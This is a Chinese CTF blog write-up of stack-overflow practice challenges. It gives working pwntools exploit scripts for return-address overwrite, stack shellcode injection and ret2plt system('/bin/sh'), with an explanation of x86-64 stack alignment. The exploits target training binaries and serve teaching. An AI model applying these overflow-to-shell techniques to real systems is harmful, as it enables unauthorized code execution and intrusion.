二进制栈的练习题
2025-12-26 09:56:21 # CTF

level0

比较简单,直接溢出,覆盖返回地址为callsystem的地址就可以了。坑点,Ubuntu22需要再p64(callsystem_addr + 1),需要在后面加上1或2或4才能成功获取shell。

image-20251217003419669

image-20251214195018158

找到漏洞点。buf只有128bit,0x200会导致溢出。

image-20251214195112045

显然,偏移的地址为0x80

image-20251214195454877

因为是64位,0x80的偏移,poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

context.log_level = 'debug'

elf = ELF('../practices/pwn0/level0')
# shell address in elf
callsys_addr = elf.symbols['callsystem']

io = process('../practices/pwn0/level0')
io.recvuntil(b'World\n')

# 64 bit
# callsys_addr 后面+1 、+2 、+4都可
payload= cyclic(8 * 16 + 8) + p64(callsys_addr + 1)

io.send(payload)
io.interactive()

image-20251215021241035

为什么要在callsys_addr那里+1?其实还可以+2、+4。

根本原因是在Ubuntu 18.04及更高版本(即glibc版本较高)的64位系统的GLIBC的栈对齐导致的。

x86-64 System V ABI(应用程序二进制接口)中的栈对齐(Stack Alignment)检查,具体表现为MOVAPS指令引发的Crash。

在64位Linux系统重,ABI规定:在调用call指令进入一个函数之前,栈顶指针RSP必须是16字节对齐的(即RSP的地址以0x0结尾)。

下面再详细的解释一下:

在Ubuntu22.04(以及其他高版本Linux)中,我的实验环境就是Ubuntu22,底层的C标准库(GLIBC)对system()函数的实现有一个严格的要求:

当程序执行到 system() 函数内部的某些 SSE 指令(如 movaps)时,栈顶指针(RSP)必须是 16 字节对齐的(即地址必须以 0 结尾,不能以 8 结尾)。

为什么会遇到Crash呢?直接崩掉呢?

下面就是做一个简单的数学加减法(以8字节为一个单位):

正常调用

  • main 调用 call vulnerable_functioncall 指令压入返回地址,RSP - 8
  • 进入函数执行 push rbpRSP 再 - 8
  • 合计:-16(偶数),栈是对齐的,大家都开心。

你的 EXP 攻击

  • 你覆盖了返回地址,当 vulnerable_function 结束时,执行 ret
  • ret 指令相当于 pop ripRSP + 8。此时,RSP 回到了对齐状态(以 0 结尾)。
  • 问题来了:你直接跳转到了 callsystem 的入口地址 400596
  • 入口的第一条指令是 push rbp。执行它,RSP - 8
  • 此时 RSP 以 8 结尾(不对齐)。
  • 带着这个“歪”的栈进入 system() -> 触发 movaps 异常 -> 程序崩溃 (SEGFAULT)

解决的核心逻辑: 既然多执行一次 push 会导致不对齐,那我们跳过这个 push,RSP 就不会减 8,栈就保持了对齐状态,system() 就能跑通了。

为什么callsys_addr那里可以+1,+2,+4?我以实际的汇编代码给你解释一下。

执行命令objdump -d level0 | grep -A 5 callsystem,得到下面的结果:

1
2
3
4
0000000000400596 <callsystem>:
400596: 55 push %rbp
400597: 48 89 e5 mov %rsp,%rbp
40059a: bf 84 06 40 00 mov $0x400684,%edi

1. 为什么 +0 (地址 400596) 不行?

  • 指令55 (push %rbp)
  • 分析:这是函数头。执行它会把 RBP 压栈,导致 RSP 减少 8 字节
  • 结果:栈不对齐 -> system() 崩溃。

2. 为什么 +1 (地址 400597) 可以?【推荐】

  • 指令48 89 e5 (mov %rsp, %rbp)
  • 原理
    • 你跳过了 55 (push 指令)。
    • CPU 从 48 开始读取,这正好是 mov 指令的完整头部。
    • mov 指令只修改数据,不修改 RSP(栈指针)
  • 结果:RSP 保持原样(对齐状态)-> system() 成功执行。这是最稳健的跳过 Prologue 的方法。

3. 为什么 +2 (地址 400598) 也可以?【纯属巧合】

这是一个很有趣的现象,叫做指令错位(Misaligned Instruction)

  • 原始机器码48 89 e5
  • 你的跳转:跳过了 48,CPU 从 89 开始解释指令。
  • CPU 看到的指令
    • 在 x86 架构中,89 e5 被翻译为 mov %esp, %ebp(32位的寄存器传输)。
  • 分析
    • 这是一条合法的汇编指令(运气很好,没有报非法指令错误)。
    • 这条指令也不修改 RSP
  • 结果:RSP 没变 -> 栈对齐 -> system() 成功。
    • 注:虽然能通,但这是依赖机器码的巧合,不建议作为通用方法。

4. 为什么 +4 (地址 40059a) 也可以?【最干净】

  • 指令bf 84 06 40 00 (mov $0x400684, %edi)
  • 原理
    • 你跳过了 pushmov 整个栈帧建立的过程(跳过了 callsystem 的废话部分)。
    • 直接开始做正事:给 system 函数传参(把字符串地址给 EDI)。
  • 分析:这行代码显然不修改 RSP
  • 结果:RSP 保持对齐 -> 传参成功 -> system() 成功。

总结

  • 根本原因:Ubuntu 22 的 GLIBC 中 system 函数要求栈 16 字节对齐
  • 为何 +1/+4 有效:本质都是为了跳过 push rbp 这一行代码,从而避免 RSP 发生 8 字节的偏移,维持栈的对齐状态。
  • **学习到:**如果远程或高版本 Ubuntu 打不通,优先尝试 地址+1 或者在 Payload 里加一个 ret 的地址(Gadget)来调整栈平衡。

level1

比较简单,32位,直接写入shellcode。栈可执行,在栈中,直接写入shellcode。

image-20251217003510796

定位漏洞函数。

image-20251217005234463

断点漏洞函数,发现偏移量0x88。

image-20251217005633482

直接在栈中写入shellcode,并调用这个shellcode。

level1输出了buf的地址,再向buf中写入shellcode。利用栈溢出,覆盖返回地址,返回地址覆盖为buf的地址,也就是shellcode的地址,拿到shell。

poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

context(log_level='debug',arch = 'i386', os='linux')
# generate shellcode
shellcode = asm(shellcraft.sh())

io = process('../practices/pwn1/level1')
addr_str = io.recvline()[14:-2]
print(addr_str)
addr_buf = int(addr_str,16)

payload = shellcode + b'A' * (0x88 + 0x04 -len(shellcode)) + p32(addr_buf)
io.send(payload)
io.interactive()

level2

这题之前做过[1],相同的思路。.got.plt中有system函数的地址,然后再找/bin/sh的地址,即可获得shell。

查看防护情况。

image-20251218015418433

定位漏洞点,buf只有136字节,却可以输入0x100个字节。

image-20251225233402659

查看偏移,0x88个字节的偏移。

image-20251225235155928

程序是32位的,偏移0x88,136个字节,要再覆盖一个ebp指令,所以要覆盖136+4 = 140字节的垃圾数据,然后再填充system函数的返回地址。又因为system函数的汇编代码的第一个是push ebp,system函数要间隔两个字去找参数值/bin/shpush ebp算一个字了,又因为32位,再填充4个字节,又算一个字,然后再去填充`/bin/sh字符串的地址。

所以完整的payload为:

1
payload = flat([b'A' *(136 + 4),systemaddr, b'B' * 4, binshaddr])

完整的poc为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

context(log_level='debug',arch='i386',os='linux')
elf = ELF('../practices/pwn2/level2')
systemaddr = elf.plt['system']
binshaddr = next(elf.search(b"/bin/sh"))
# print(hex(systemaddr))
# print(hex(binshaddr))
io = process('../practices/pwn2/level2')
io.recvuntil(b'Input:')

payload = flat([b'A' *(136 + 4),systemaddr, b'B' * 4, binshaddr])
io.send(payload)
io.interactive()

注意systemaddr、binshaddr地址要为整数。

level3

和上一题类似,这题没有system函数了。

防护检查。

image-20251226003946023

漏洞点,这里无system函数了。

image-20251226004038863

参考


  1. https://x2nn.github.io/2025/09/02/动态链接中的ROP/#案例ret2libc2无-bin-sh ↩︎

Prev
2025-12-26 09:56:21 # CTF